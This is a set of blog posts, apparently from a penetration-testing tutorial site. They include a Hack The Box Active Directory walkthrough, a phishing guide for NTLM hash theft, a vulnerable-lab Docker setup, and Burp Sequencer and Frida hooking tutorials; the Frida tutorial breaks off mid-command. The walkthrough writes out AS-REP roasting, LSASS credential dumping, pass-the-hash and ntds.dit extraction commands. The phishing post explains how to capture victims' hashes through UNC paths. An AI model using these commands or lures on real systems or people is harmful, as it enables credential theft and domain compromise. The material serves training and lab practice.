by Raj Chandel | Mar 25, 2023 | Cybersecurity
Summary
Blackfield is a windows Active Directory machine and is considered as hard box by the hack the box. This box has various interesting vulnerabilities, and security misconfigurations were placed. As usual, we began with a basic nmap scan as a part of enumeration and noticed smb null session was enabled. Then we discovered a pre-authentication disabled account and performed AS-Rep Roasting, and cracked the obtained hash. With the extracted password, we were able to enumerate the users available in the AD using RPC Client.
Moving laterally, we used bloodhound and noticed that a user could change another user’s password, which could be done using RPC Client. After changing the password of another user, we accessed the shared folder, where we found an interesting file as memory-dumped data. Using mimikatz, we extracted the NTLM hash of the backup user from the lsass memory. The further enumeration in order to find the privilege escalation vector, we discovered the current user belongs to the backup operator group, and the sebackup privilege was enabled. With the privileged assigned to the current user, we were able to copy ntds.dit file and system hive.
Lastly, we used the impacket secretdump tool to extract the administrator hash from the ntds.dit file with the help of the system hive. After obtaining the administrator hash, we logged in as an administrator and collected the root flag. So, without spoiling it more, let’s exploit it step by step.
Table of Content
Initial Access
- Initial Nmap TCP Port Scan
- SMB Share Enumeration
- Searching for the No Pre Auth (NPU) configured users
- Krb5asrep hash cracking with john
- RPC Client Enumeration
- Setting up Neo4j Console
- Export JSON files in Ne04j Console for the analysis
- Analysing AD Hidden Relationship with other users
- Attempt to change user password using RPC Client
- Workgroup enumeration of audit2020 user
- Extract data from the lsass.DMP file
- User Shell
Privilege Escalation
- Exploiting Enabled Dangerous Privileges
- Transfer disk shadowing DOS file to the target system
- Copy ntds.dit file using assigned privilege
- Make a copy of the system hive
- Dump password hash from ntds.dit file Root flag
Let’s exploit it step by step.
Initial Access
We are going to start the assessment with the normal TCP/IP port scanning.
Initial Nmap TCP Port Scan
We begin with the port scan, where we use nmap to find out which ports are open and what services are running in the target host. Nmap is a popular port scanning tool that comes with Kali Linux. To perform a port scan, we have used –sV flag against the target system, which scans the top 1000 ports with the service version.
Flags features:
-sV: Attempts to determine the service version
From the nmap scan, we have found eight ports are open where most of the services belong to the Active Directory environment. Any of these services can lead us toward any protocol-based vulnerabilities or any security misconfiguration, which is common in an active directory environment. Also, it is showing the domain name as BLACKFIELD.local.
nmap -sV 10.129.45.226
SMB Share Enumeration
The Server Message Block (SMB) protocol is a network file-sharing protocol that allows applications on a computer to read and write to files and request services from server programs in a computer network. It can be seen in the internal network that smb share is enabled for the null session, which means a user can access that shared folder without authentication or with no password. Firstly, we listed all available shares using smbclient tools, which come with kali Linux by default. From the output, we noticed that $profiles directory has no comment, and we attempted to log in without a password and successfully logged in. After logging into smb share, we found there are so many directories we can access where all directories look empty as the size is showing its bytes in 0.
smbclient -L 10.129.45.226
We added the domain name BLACKFIELD.local in our /etc/host file before continuing further enumeration. To do that, we can use any text editor such as leafpad, nano, gedit.etc.
Searching for the No Pre Auth (NPU) configured users
As a threat actor, we are going to test all potential vulnerabilities that exist in an Active Directory environment. Suppose an admin has configured an account with no pre-authentication required; then the user does not need to request KDC to access any service or resources where an attacker can take advantage of the configuration and try to steal password hashes of the user that have Kerberos pre-authentication disabled. Then the attacker can try extracting a plain text password from the obtained hash. This attack is also known as AS-REP Roasting. Similarly, we tried to obtain any user’s password hash using the impacket library GetNPUsers and stored the result in the result.txt file. As a result, we found that the support account has no pre-authentication set and extracted its password hash. After obtaining the hash, we can try to crack it using offline tools such as john and hashcat.
In the below command, we have used the –dc-ip flag for the domain IP address with the domain name and the -userfile flag to give a list of potential users. Then we used the grep utility to filter our results.
impacket-GetNPUsers -dc-ip 10.129.45.226 blackfield.local/ -usersfile username.txt > result.txt
Krb5asrep hash cracking with john
We stored the obtained hashes in a hash file. Then we used john to crack the hashes in a plain text format issuing breached password wordlists that come with Kali Linux. Rockyou.txt file contains a list of commonly used password words. This file contains over 14,341,564 passwords that were previously leaked in data breaches. The tool did its job very well and cracked the hashes into human-readable form.
Cracked password: #00^BlackKnight
john --wordlist=/usr/share/wordlists/rockyou.txt hash
RPC Client Enumeration
Next, we attempted to log into RPC Client using obtained credentials and listed all AD users, where we noticed three default accounts and two non-default account users. Remote Procedure Call (RPC) protocol is generally used to communicate between processes on different workstations. However, RPC works just as well for communication between different processes on the same workstation.
rpcclient -U support%#00^BlackKnight 10.129.45.226
AD Reconnaissance with Blood Hound
As we have valid user account credentials, we decided to map the relationship of support users with other users. For example, audit2020 or an administrator. To map the domain relationship, we are using a popular tool called bloodhound. Bloodhound also comes with Kali Linux and allows to map domains remotely if an attacker has valid credentials of an active directory user. In the below command, we are collecting all domain information where we have provided different flags, the username(-u), password(-p), the domain name(-d), the name server(-ns), and collection method(-c).
bloodhound-python -u support -p '#00^BlackKnight' -d blackfield.local -ns 10.129.45.226 -c all
Setting up Neo4j Console
Then, we started the Neo4j Console to analyze the collected files by a bloodhound. This tool gives an interactive console for graphs with integrated visualization. To start the Console, just issue the below command. Once it is ready, then we require to access our loopback interface on its default port, 7474.
Export JSON files in Ne04j Console for the analysis
We need to import all the JSON files in the Console. To do that, we can simply drag all files in the Console or use the import feature available in the neo4j.
Analysing AD Hidden Relationship with other users
After importing files, we will be seeing user relationships with graph visualization. The Neo4j property graph database model consists of: Nodes that describe entities (discrete objects) of a domain. Nodes can have zero or more labels to define (classify) what kind of nodes they are. Relationships describe a connection between a source node and a target node. From the node info tab, we noticed the “First Degree Object control,” which shows the relationship of the support user with audit2020, where the support user has the right to change the audit2020 password.
Attempt to change user password using RPC Client
As we know, the support user has the privilege to change the audit2020 user’s password. We searched for ways to utilize this privilege and found a blog. In the blog, it is suggested to use 23 as a level when an attempt to change any user’s password using an RPC client. And also mentioned that will not be able to change the password of anyone with AdminCount = 1 (aka Domain Admins and other high priv accounts). Following the blog, we attempted to change the password of user audit2020 after authenticating as a support user in RPC Client and successfully changed the password.
Reference: https://malicious.link/post/2017/reset-ad-user-password-with-linux/
setuserinfo2 audit2020 23 '[email protected]'
Workgroup enumeration of audit2020 user
After changing the audit2020 password, we logged in to smb shared folder named forensic. In the forensic folder, we found an interesting folder named memory_analysis, where we discovered another file named lsass.zip. LSASS file can be interesting for a threat actor because lsass.exe stores authentication credentials like encrypted passwords, NT hashes, LM hashes, and Kerberos tickets in memory. Storing these credentials in memory lets users access and share files during active Windows sessions without re-entering the credentials every time they need to perform a task. We downloaded the lsass.zip file in our local system for further analysis by running the following command. Then we unzipped it and found lsass.DMP file, which looks like holding lsass dumped memory in it.
smbclient -U 'audit2020' //10.129.45.226/forensic
get lsass.zip
Extract data from the lsass.DMP file
In order to extract the data from the lsass.DMP file, we utilized a powerful tool called mimikatz. Mimikatz is a tool that is commonly used by hackers and security professionals to extract sensitive information, such as passwords and credentials, from a system’s memory. To do that, we can use mimikatz in a windows system with a system privileged shell, as mimikatz does not work in a low privileged shell. Follow the below command to extract the data from the lsass.DMP file. As expected, mimikatz dumped the NTLM hashes from the lsass.DMP file. Now we are in a position to try authenticating using pass the hash technique as svc_backup user. There is a nice article by the hacking articles that can be used to utilize pass the hash technique in multiple ways.
URL: https://www.hackingarticles.in/lateral-movement-pass-the-hash-attack/
privilege:debug
sekurlsa::minidump lsass.DMP
User Flag
With obtained credentials, we logged in as a svc_backup user using winrm service, which runs on port 5985 by default. In the nmap result, we did not see this port open because nmap only scans the top 1000 ports where PowerShell remoting port does not count in. We can grab user flag from the svc_backup desktop directory. Then we checked the privileges assigned to the current user and found that the sebackup privilege and serestore privilege is enabled.
evil-winrm -i 10.129.45.226 -u svc_backup -H '9658d1d1dcd9250115e2205d9f48400d'
Privilege Escalation
Privilege escalation is the process of exploiting a bug, design flaw or configuration oversight in an operating system or software application to gain elevated access to resources that are normally protected from an application or user. Privilege escalation can be used by attackers to gain access to more system functions and data than intended by the root user. In some cases, privilege escalation can allow attackers to gain complete control of the system.
Exploiting Enabled Dangerous Privileges
After enumerating further about the svc_backup user, we found that the user is also a member of the backup operators group. A backup operator group member has the privilege to make a disk shadow copy and access all files owned by the system. With a quick search, we got another article published by hacking articles backup privilege escalation techniques. Following the blog, we created a file instructing disk shadow to create a copy of C: Drive into Z: drive as alias raj and saved it as raj.dsh file. The DSH file extension indicates to your device which app can open the file. However, different programs may use the DSH file type for different types of data. Then we compiled it into DOS format to use in the windows host.
https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/
leafpad raj.dsh
set context persistent nowriters
add volume c: alias raj
create
expose %raj% z:
unix2dos raj.dsh
Transfer disk shadowing DOS file to the target system
After compilation, we transferred raj.dsh file into the target temp directory that we created. Here evil-winrm made our job easy since it added an upload feature in it, which means we do not require transfer files in the traditional way here. We confirmed that raj.dsh file is uploaded successfully in the C:temp directory.
mkdir temp
cd temp
upload raj.dsh
Copy ntds.dit file using assigned privilege
Execution of the dsh file in the target system exposed a shadow copy of C: drive in the Z: drive. Now we are in the position to make a copy of ntds.dit file in an accessible directory. We used the robocopy utility to make a copy of ntds.dit file from Z:windows directory to the current present working directory. Steps to reproduce this proof of concept follow the below commands:
cd C:Temp
upload raj.dsh
diskshadow /s raj.dsh
robocopy /b z:windowsntds . ntds.dit
Make a copy of the system hive
To perform this attack successfully, we will also require having a system hive otherwise, we will not be able to extract the hashes from the ntds.dit file. A hive is a logical group of keys, subkeys, and values in the registry that has a set of supporting files loaded into memory when the operating system is started, or a user logs in. Each time a new user logs on to a computer, a new hive is created for that user with a separate file for the user profile. So, we copied the system hive in the temp directory and transferred it into the attacking machine.
reg save hklmsystem C:Tempsystem
cd C:Temp
download ntds.dit
download system
Dump password hash from ntds.dit file
Once system hive and ntds.dit files are transferred to the attacking machine, then we attempt to extract the hashes from the ntds.dit file using impacket secretsdump. Secretdump extracted all user’s hashes along with the administrator.
impacket-secretsdump -ntds ntds.dit -system system local
Root Flag
Again, we can utilize the pass-the-hash technique to gain an administrator shell with obtained hash. We authenticated as an administrator successfully and grabbed the root flag from the administrator desktop directory.
evil-winrm -i 10.129.45.226 -u administrator -H '184fb5e5178480be64824d4cd53b99ee'
Conclusion:
This machine was fun and was a great source of learning, where we learned and explored so many things such as TCP port scan, service enumeration, AS-REP Roasting, RPC Client functionalities and role in AD Environment, Hash cracking, smb share enumeration, Bloodhound user hidden relationship mapping, examining dumped data, pass the hash, windows active directory dangerous privileges that can lead to privilege escalation.
Thank you for giving your precious time to read this walkthrough. I hope you have enjoyed and learned something new today. Happy Hacking!
Author: Subhash Paudel is a Penetration Tester and a CTF player who has a keen interest in various technologies and loves to explore more and more. Additionally, he is a technical writer at Hacking articles. Contact here: Linkedin and Twitter
by Raj Chandel | Mar 11, 2023 | Cybersecurity
In this post we will discuss “How the attacker uses the Microsoft office for phishing attack to get the NTLM hashes from Windows.” Since we all knew that Microsoft Office applications like Word , PowerPoint , Excel and Outlook are the most reliable resource for any organization, and an attacker takes advantage of this reliance to masquerade the user.
Here, we’ve been trying to explain what a different approach an attack uses for a phishing attack to capture Microsoft Windows NTLM hashes.
In actual fact, the attacker tried to use the UNC path injection technique to capture the Windows NTLM hashes and use phishing to achieve his goal.
Table of Content
- Link UNC Path in an Image
- Link UNC PATH in a Text File
- Link UNC PATH Word Document
Walkthrough
Here we are using Kali Linux and its IP is 192.168.1.112, this IP will be used for UNC Path.
Link UNC Path in an Image
Objective 1: send phishing mail to the target user that contains malicious image.
Use office 365 to linking UNC path within an image, for this insert an image and draft a mail for your Victim to masquerade him/her.
Inject the UNC path by adding a hyperlink to the image as shown below. Now-a-day attackers use the COVID-19 precaution images to carry out a large-scale phishing attack.
And we used our Kali Linux IP here to steal the NTLM hashes. This phase could be considered as an easy phase for a threat hunter while hunting for IOC as per pyramid of plain , because here the attacker’s malicious domain address or IP in dword format is used to evade the intruder detection system.
Once you have drafted your message using office 365, install the responder in your Kali Linux which to capture the NTLM hashes.
Responder is a LLMNR, NBT-NS and MDNS poisoner, with built-in HTTP/SMB/MSSQL/FTP/LDAP rogue authentication server supporting NTLMv1/NTLMv2/LMv2, Extended Security NTLMSSP and Basic HTTP authentication.
Run the given command and just after executing responder send the mail to the victim.
responder -I eth0 -v
Now, when the victim opens the mail and clicks on the image or opens a new tab or saves the image, his/her NTLM hashes have been stolen without his/her knowledge.
As result the attacker will obtain the NTLM hashes of the victim’s machine as shown in the image given below. Here you can observe that it has given NetBIOS username along with hashes.
An attacker may use John’s ripper or other NTLM hashed cracking tools to retrieve a password. As you can see here, we used the above NTLM hashes file generated by the responder to extract Victim’s password with the help of john the ripper.
Link UNC PATH in a Text File
Objective 2: Send phishing mail to the target user that contains Object.
Till Office 2013 it was possible to send a malicious attachment by injecting UNC Path but after Office 2013 the link to the file option is disabled, which prevents an attacker from carrying out a phishing attack via a malicious attachment.
Yet the attacker still figures out about the second alternative to send malicious attachment. Despite sending attachment they try to link object in the mail.
Here we have added a text file as object, here we cannot use “link to file” feature for injecting UNC path.
Once you will add the object, inject the hyperlink for UNC Path as done above, i.e. \192.168.1.112 and mail to the victim. On other hand use responder, the to steal NLTM hashes as done above.
Now when the victim will opens the mail and clicked on the text or opens in new tab, his/her NTLM hashes has been stolen without his knowledge.
As result the attacker will obtain the NTLM hashes of the victim’s machine as shown in the image given below. Here you can observe that it has given NetBIOS username along with hashes.
Link UNC PATH Word Document
Objective: Send phishing mail to the target user that contains Word Document Attachment.
In most scenarios, the attacker uses Word Document to make the email appear authentic, so he injects the UNC path inside the document file by hyperlinking the file inside. But as we mention, Outlook removed the option “link to file” or “insert as a link” to prevent attackers from sending malicious documents.
There is an alternative technique that allows an attacker to inject the UNC Path into the attachment. We have written the HTML code in a text file containing the UNC Path link in the src image as shown in the html image.
Now open a Word Document and link the html file as object, thus we move to “insert > Object > Text from file”.
Now insert the HTML file and select the option “insert as Link” as shown the image.
Now use the Word Document that contains a link to the HTML file to be sent as an attachment and sent the mail to the victim, and wait for the victim to respond by putting the responder in the back door.
Now, when the victim opens the mail and clicks on the text or opens a new tab, his / her NTLM hashes have been stolen without his/her knowledge.
As result the attacker will obtain the NTLM hashes of the victim’s machine as shown in the image given below. Here you can observe that it has given NetBIOS username along with hashes.
Conclusion: So we saw how the attacker cleverly injected the UNC path into an image or text file or Word document and masquerade the victim by sending Phishing mail.
by Raj Chandel | Mar 5, 2023 | Cybersecurity
For web application penetration practice, we all look for vulnerable applications like DVWA and attempt to configure vulnerable practice environments. As we all know, it’s time consuming activity and it takes a lot of effort, but this can be done in a couple of minutes with the help of the docker.
In this post you will learn how to configure vulnerable web applications (DVWA, BWAPP & etc) with the help of docker.
Table of Content
- Requirement
- Objective
- Web application
- DVWA
- Mutillidae
- bWAPP
- Another Method
Requirement-Ubuntu 18.0
Objective:
Configure web application server on docker
Web Application
A web application is a computer program that utilizes web browsers and web technology to perform tasks over the Internet. Web apps can be built for a wider uses which can be used by anyone; from an enterprise to an entity for a variety of reasons. Frequently used Web applications can include webmail.
Docker
Docker is a third-party tool developed to create an isolated environment to execute any application. These applications are run using containers. These containers are unique because they bring together all the dependencies of an application into a single package and deploy it. Now, to work with docker you will need to install docker-engine in your host.
Run following the command to install docker:
apt update
apt install docker.io
Then execute the following command to start and enable the service of docker:
systemctl start docker
systemctl enable docker
And we have installed docker version 18.09.7 in our local machine.
Configure DVWA on Docker
Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and to aid both students & teachers to learn about web application security in a controlled classroom environment.
The aim of DVWA is to practice some of the most common web vulnerabilities, with various levels of difficulty, with a simple straightforward interface. Please note, there are both documented and undocumented vulnerabilities with this software. This is intentional. You are encouraged to try and discover as many issues as possible.
To install and configure DVWA through docker is quite simple then manual approach, you can search for its docker image directly by typing following command on the terminal.
docker search web-dvwa
Here you can observe that it has shown the docker image for dvwa as per given rating and even you can search for the same over the internet. You will obtain the same output as shown below.
Now we can directly pull the package by executing the following command:
docker pull vulnerables/web-dvwa
And then to start docker service for dvwa; enter below command in your terminal.
docker run -p 80:80 vulnerables/web-dvwa
Good! We have successfully configured the dvwa lab in ubuntu as we can see that we are welcomed by the login page.
Enter the following URL and click on Create/Reset Database.
http://localhost/dvwa/setup.php
Once the database will get create you can login into application to access the web console.
And we have our DVWA application ready for use, thus we can see it required very less effort.
Configure Mutillidae on Docker
OWASP Mutillidae is a free open source purposely vulnerable web application providing an enthusiastic goal for web security. It’s a laboratory which provides a complete test environment for those who are interested in SQL injection acquisition or improvement. This is an easy-to-use Web hacking environment designed for laboratories, security lovers, classrooms, CTFs, and vulnerability assessment targets, and has dozens of vulnerabilities and tips to help the user.
Similarly, we can run mutillidae using docker without wasting much time in manual configuration. Repeat the same step as done before, first pull the package and then use the docker to start mutillidae over a specific port.
docker pull szsecurity/mutillidae
docker run -p 1337:80 szsecurity/mutillidae
This time we had chosen port 1137 to launch the mutillidae application. Thus, we will open this our local browser by the following URL: localhost:1337 where we will find an option of reset database. Just click on it to reset the database.
Configure WebGoat on Docker
WebGoat is a deliberately insecure web application maintained by OWASP designed to teach web application security lessons.
This program is a demonstration of common server-side application flaws. The exercises are intended to be used by people to learn about application security and penetration testing techniques.
Similarly, we can run WebGoat using docker without wasting much time in manual configuration. Repeat the same step as done before, first pull the package and then use the docker to start WebGoat over a specific port.
docker pull szsecurity/webgoat
docker run -p 1337:80 szsecurity/webgoat
To access the webgoat application run following URL in the web browser.
http://localhost:1337/WebGoat
Configure bWAPP on Docker
A buggy web application that is purposely unsafe. Enthusiasts of security, system engineers, developers can find out about Web vulnerabilities and prevent them.
Repeat the same approach and execute following command to pull its docker image.
docker pull raesene/bwapp
then use the docker to start WebGoat over a specific port.
docker run -d -p 8080:80 raesene/bwapp
Now go to your browser and open bWAPP installation file by the following command and click on here as shown in the image below
http://localhost:8080/install.php
Now you will get a login page of bWAPP where we will use the default username which is bee and default password which is bug and you are logged in in bWAPP.
Enter the credential bee:bug and get access of the web console.
Now you can start working on bWAPP.
Another Method
We can use PentestLab Management Script because this script uses docker and hosts alias to make web apps available on localhost” and it can pull the following applications.
- bWAPP
- WebGoat 7.1
- WebGoat 8.0
- Damn Vulnerable Web App
- Mutillidae II
- OWASP Juice Shop
- WPScan Vulnerable WordPress
- OpenDNS Security Ninjas
- Altoro Mutual
Install and configure PentestLab Management Script
git clone https://github.com/eystsen/pentestlab.git
cd pentestLab
./pentestLab.sh --help
To checklist of a web application, use list option along with the script.
./pentestLab.sh list
To start the web application, just write the name of web application after executable script as shown here.
./pentestLab.sh start juiceshop
Execute the following URL to browse the web application.
http://127.0.0.1
or
http://juiceshop
Conclusion:
Vulnerable web application lab set-up using docker is very easy and fast as compared to other approaches. A pen-tester can easily set up his/her own vulnerable lab using docker in a very short period of time.
Hope you liked this technique to web application configuration.
Happy Hacking!!
Author: Kavish Tyagi is a Cybersecurity enthusiast and Researcher in the field of WebApp Penetration testing. Contact here
by Raj Chandel | Feb 6, 2023 | Cybersecurity
Whenever we log into an application, the server issues a Session ID or a token, and all over from the internet we hear that the session ID we get is unique, but what, if we could guess the next unique session ID which the server will generate?
Today, in this article we’ll try to overtake the application’s algorithm that helps them to generate a randomized session ID for a specific user and will try to log in inside the application impersonating that user with our predicted session ID.
Table of Content
- Introduction to Burp Sequencer
- Session ID exploitation via Sequencer
- Manual Request Analysis
- Comparing the Captured Tokens
Introduction to Burp Sequencer
Burp Sequencer is a tool for analyzing the quality of randomness in a sample of data items. The data items can either be application’s session ID’s, CSRF tokens, password reset or forget password tokens or any specific unpredictable ID generated by the application.
The Burp Sequencer is one of the most amazing tools that try to capture the randomness or the variances in the session ID’s by employing some standard statistical tests which are based on the principle of testing a hypothesis against a sample of evidence, and calculating the probability of the observed data occurring.
However, the tool tests the given sample in a number of different scenarios whether it is a character-level analysis or a Bit-level one, the analyzed output would be in the best-segregated format. To learn more about how the sequencer tests the randomness, check the sequencer’s documentation from here.
The best part of this tool is that it is available for both the editions i.e. for the Professional and community version, you just need to tune in your burp suite application and navigate to the Sequencer tab over at the top panel.
Session ID exploitation via Sequencer
Whether it’s a basic Session ID or a token generated from the server-side, the burp’s sequencer analysis that all, as the tool’s only requirement is a “Request” shared with it.
So, let’s initiate the analyzer within the burp sequencer by capturing and sharing a login Session ID over from our favourite vulnerable application i.e. bWAPP.
Feed the target IP in the browser and login with bee: bug.
Wait!! We talked about login session ID right, so let’s turn the proxy service here only, and then hit the “Login” button.
Let’s check our burp suite, whether it captured the request or not. From the captured request we can see that a PHPSESSID is in the Cookie header, let’s share the complete request with the Sequencer by hitting right-click over on the white space.
As soon as the Sequencer receives the request, the empty fields got filled up directly with the Token ID that goes with the “Response” for the specific shared Request.
However, there are times when we want the sequencer to analyze some different value. Thus, over in such cases, the burp suite’s creators give us the opportunity to define the Custom location within the response. Let’s check that out.
Hit the Custom location radio button below at the cookie option and then navigate with Configure. As soon as we do so, we got a new window opened as “Define Custom token location” where we’re having the response of our shared request.
Over into this, we can opt either the defined options whether “Define start & end” or “Extract from regex group”. Let’s check the first one.
As we hover and select the value from the shared Response, we got some manipulation at the Start and the End delimiters. Thus, hit the Save button and our custom location will be defined up at the panel.
Now simply hit the “Start Live Capture” button having the Cookie option selected at the “Token Location within Response” section.
And, as we did that a new window [ Live capture #1 ] got popped up. Okay!! But what’s this? Let’s define it all.
As soon as the “Start Live Capture” button got fired up, Burp repeated the original request (potentially about a thousand times) and thereby extract all the tokens received from the responses.
However, within all this, once the Capture page boots up, a progress bar is displayed with a counter of tokens generated and the requests made by the sequencer. A number of buttons also contributes into this Live Capture window as –
- Pause/Resume: This temporarily pauses the capturing request and the counter, such in order to help the pentester to analyze the requests generated till then.
- Copy Tokens: It helps to copy all the randomized tokens generated.
- Stop: A major road block for the live capture analyzer.
- Save Tokens: Output can be dropped down as in the form of randomized generated tokens into a defined file.
- Auto analyze: This check box (if enabled) will thus help the Sequencer to dump the analyzed results as soon as a specific number of tokens are generated.
- Analyze now: This button is only available when at least 100 tokens have been generated and if clicked, will thus print out the analyzed report on the screen.
So, let’s pause the sequencer and then we’ll hit the Analyze now button, such in order to determine what it gathers.
From the below image, we can see that the sequencer had dropped a report by analyzing about 16000 requests, having an overall quality of randomness within a sample estimated to be “excellent”.
We could have either got randomness quality to be “poor” if the web application’s session ID is repetitive.
However, the amount of effective entropy is 110 bits which are considered to be a good one as the least is “64” and the best is “128”.
NOTE –
Burp Sequencer works over Sample, thereby a large number of captured tokens will thus drop a better and a precise result. Thus, it is recommended to have at least a 1000-2000 sample tokens before analyzing the application’s session ID randomness.
A number of sub-sections are available which thus could help us to analyze the application-properly, but being a pentester we just need to analyze the reliability of the results. Thereby, in order to learn more about it, check the Port Swigger’s documentation from here.
Let’s hit the “Save Tokens” button and dump the generated token values into token.txt.
Till the file is saving in the background, let’s get back to out bWAPP application and will logout the user such in order to end the session.
Now, as soon as we redirect back to the login page, we’ll modify the URL within it i.e. setting it to
http://192.168.0.9:8080/bWAPP
And we’ll capture the ongoing HTTP Request over at our burpsuite.
Back into our burpsuite’s monitor, we can see that there is a session ID in the cookie header.
Let’s manipulate the Session ID with one of our saved results.
As soon as we hit the forward button, we got redirected to portal.php page and a session ID is required here too, let’s manipulate it with the same.
And as we fire the button again, over at the browser we got logged in as “Bee” and this time it was without the credentials.
There are times when the session ID that we manipulate might not valid, thus in such cases, we can use the entire tokens.txt with our intruder and will hunt for a successful login.
Manual Request Analysis
What, if we’re not having any specific live web-application, but we’re having a sample of tokens or Session ids and we want to analyze or depict its randomness?
Whether the sample is from a live-application or not, the burp’s sequencer is always there for you to perform a statistical analysis such in order to determine the randomness.
Over at the dashboard, navigate to the Sequencer tab and move to the Manal load option, hit the paste button if the sample is in your clipboard or the load button if the tokens are within a specific file and then hit the “Analyze now” button to initiate the sequencer.
Note –
The sample or the number of tokens should be more than 100 in order to initiate the manual analysis.
However, within a few seconds, we got the result dumped over in the new window as “manual load analysis”.
Aren’t you wondering like what if the application’s session ID or the token was bounded with base64 encoding scheme?
However, if such situations arise, the burp’s sequencer is there for us, over at the Sequencer’s dashboard as we switch to the analysis option tab we just need to enable the “base-64 decode before analyzing” option and we’re happy to go.
Comparing the Captured Tokens
Burp Comparer is a tool to perform a comparison between two requests or responses against one another, this somewhere helps us to analyze the different responses in a way simpler.
However, this tool is the most friendly as it works with almost every other burp’s section whether it’s with proxying the requests, or fuzzing with the intruder, or capturing response with the repeater.
Being the most helpful, it thereby has its own space at the burp’s panel. Simply open your burp suite and you’ll find it right in front of you.
So, let’s use this Comparer tool with our Proxy tab and will compare the two intercepted requests captured within it.
Simply do a right-click near the white space of the captured request and share it with the comparer.
Further, intercept the next request and share the same.
Now switch to the comparer tab from the panel. Over within it, we’ll see that both of our requests are aligned within their specific regions as Item 1 & Item 2.
However, we can even paste the request or response directly from our clipboard by hitting the paste button or either we could have loaded the files simply by firing the load button.
The comparer tab offers us two options, either a word-by-word compare or by a bit-by-bit one. Let’s initiate with the Words one.
As soon as we select the comparison option, we got a new window popped up displaying both the requests in-front and highlighting the Modified, Deleted & the Added keywords.
Over the right-bottom, a check-box as Sync Views (if enabled) will help us to analyze and scroll the two requests or responses simultaneously where the content within them is a bit lengthy.
From the below image, we can determine that the session ID’s are unique and different throughout the web-application.
For More: Find Burp Suite Cheatsheet here
Author: Geet Madan is a Certified Ethical Hacker, Researcher and Technical Writer at Hacking Articles on Information Security. Contact here
by Raj Chandel | Jan 25, 2023 | Cybersecurity
Introduction
Frida is a dynamic instrumentation toolkit that is used by researchers to perform android hooking (intercepting IPC and modifying it to make a function perform the desired function). Frida uses javascript to perform hooking since Android’s native code and javascript both run on JIT compilation techniques, it can intercept its inter-process communication, add the code specified in a script and completely change the function’s implementation. Some of its use cases in real life are:
- Spy on Crypto APIs
- Modify function’s output
- Bypass AES encryption
- Bypass SSLPinning and Root detection
- Trace private application code
- Bypass various software sided locks (like applock)
In this article, we’ll explain the basics of Frida, how to create your own Frida script, hook it into processes and perform various functions. Needless to say, there is no end to what a program can do, therefore, there is no limit on frida’s applications, hence, this article is only restricted to basics. If you want an advanced look into Frida and reverse engineering, I’ll tag the resources at the bottom of the article.
Table of Content
- Root detection bypass
- Hooking different kinds of methods used in Java
- Native methods – onCreate, onStart etc.
- exit()
- user defined methods
- variable
- SSLPinning bypass
- Implementing hooking in python
- Playing a game!
Let’s go then.
Root Detection Bypass
Application developers sometimes hard code a detection logic per which an application successfully detects the presence of various SU binaries and stops execution of the application. One such example is demonstrated below. As you can see the app gives a popup of restriction and exits as soon user hits ok.
Now, we’ll try and remove this restriction using Frida. First, it is recommended you install a Frida server in the device (Follow steps here). Next, we’ll launch the server onto the device.
adb connect 192.168.27.105
adb shell "/tmp/frida-server &"
Now, we’ll first install frida with the command:
pip install frida
pip install frida-tools
After a successful install, we can see all the running process in the device on which frida server is running by the command:
frida-ps -U
As you can see that our app is running here. We have to bypass root detection here. We can either try and reverse engineer the jar files, create our own javascript code and bypass root detection or we can rely on code already created by a large community of developers on codeshare frida repo.
Weblink to the site is: https://codeshare.frida.re/browse
Here, we can see an antiroot script by dzonerzy. We’ll run it with the following command:
frida -U --codeshare dzonerzy/fridantiroot -f in.<package company>.<package name>
Now, press y to trust the project.
Now, all that’s left to do is press “%resume” to resume the execution with our hooked code!
And just like that, we can see that root detection has been successfully bypassed!
Hooking different methods in java
Now, a class might have multiple methods and each of these methods have a specific purpose. For example, the onCreate() method defines the implementation of activity as soon as the activity is created (or launched). So, what is, we can hook this function and change the behaviour of the activity when it is created. For the demonstration purpose, I’ll just print some custom text in my console as soon as the activity is called but the possibilities are limitless. Typically you won’t have access to the source code, hence, what we’ll do is extract the apk first and then decompile it to view source code. To pull the apk we’ll first know it’s the path and then pull it.
adb shell pm path jakhar.aseem.diva
adb pull /data/app/jakhar.aseem.diva-dxAm4hRxYY4VgIq2X5zU6w==/base.apk
Now, as explained in part 1 of this series (refer para 3 of the article here), we’ll decompile it using apktool and then use dex2jar to convert it in jar format, and finally use jd-gui to view the decompiled source code like below. Here is the MainActivity class decompiled.
Here we see the following things:
- We can see that onCreate has a Bundle parameter
- It’s creating a view of the main page
Now, below is an example of how to hook onCreate() method.
console.log("Script loaded!");
Java.perform(function(){
var mainapp = Java.use("jakhar.aseem.diva.MainActivity");
mainapp.onCreate.implementation = function(){
console.log("My script called!");
var ret = this.onCreate.overload("android.os.Bundle").call(this);
};
send("Hooks installed");
});
Explanation:
- Any implementation of the hook is put inside perform(function(){ //<code>
- The activity we want to hook (main activity) is put inside use(“jakhar.aseem.diva.MainActivity”), and assign a variable to it. Here, mainapp
- Now, onCreate.implementation sets a definition of the function.
- Here, we can insert any code we cant to run in the onCreate method. I just inserted log function to output “My script called!” every time onCreate is called.
- New variable ret calls this newly formed implementation function. overload method is used to add this code to the existing piece of code. Here, “os.Bundle” is input as a parameter since in the original function a bundle object is used.
- Finally, the call method is used to call the current method using “this” pointer.
- send() function outputs the text in double-quotes on the current frida command line.
To launch this script we type in the following command:
frida -U -l mainactivityhook.js -f jakhar.aseem.diva
As you can see now, the hook is successfully installed, activity launches and our custom output is now displayed and the hook is successfully installed
Hooking a defined method: Unlike the onCreate method that is present in the native libraries, some methods are custom created. For example, if you inspect the code of diva, you’ll see a function startChallenge() that is launching challenges in the application. I’m not putting the code in here but you can refer to the decompiled code in the above step. Now, we’ll observe that startChallenge is launching activities present in the project. And since it is launching an activity, it has an “android.view.VIEW” argument passed in its code. Now in the code below, every time a user hits a button to start any challenge, we’ll just force him to call our hook and our defined output would be displayed (that is MainActivity.startChallenge() is now started). Needless to say, we can change this by any implementation we want.
console.log("Hooked startChallenge() function");
Java.perform(function(){
var newstart = Java.use("jakhar.aseem.diva.MainActivity");
newstart.startChallenge.overload("android.view.View").implementation = function(v){
//enter any implementation of startChallenge you want
//for demo I'm just sending an alert on frida console
send("MainActivity.startChallenge() is now started");
var ret = this.startChallenge.overload("android.view.View").call(this);
};
});
To call this script, without having to input %resume this time, we can type in the command with –no-pause filter:
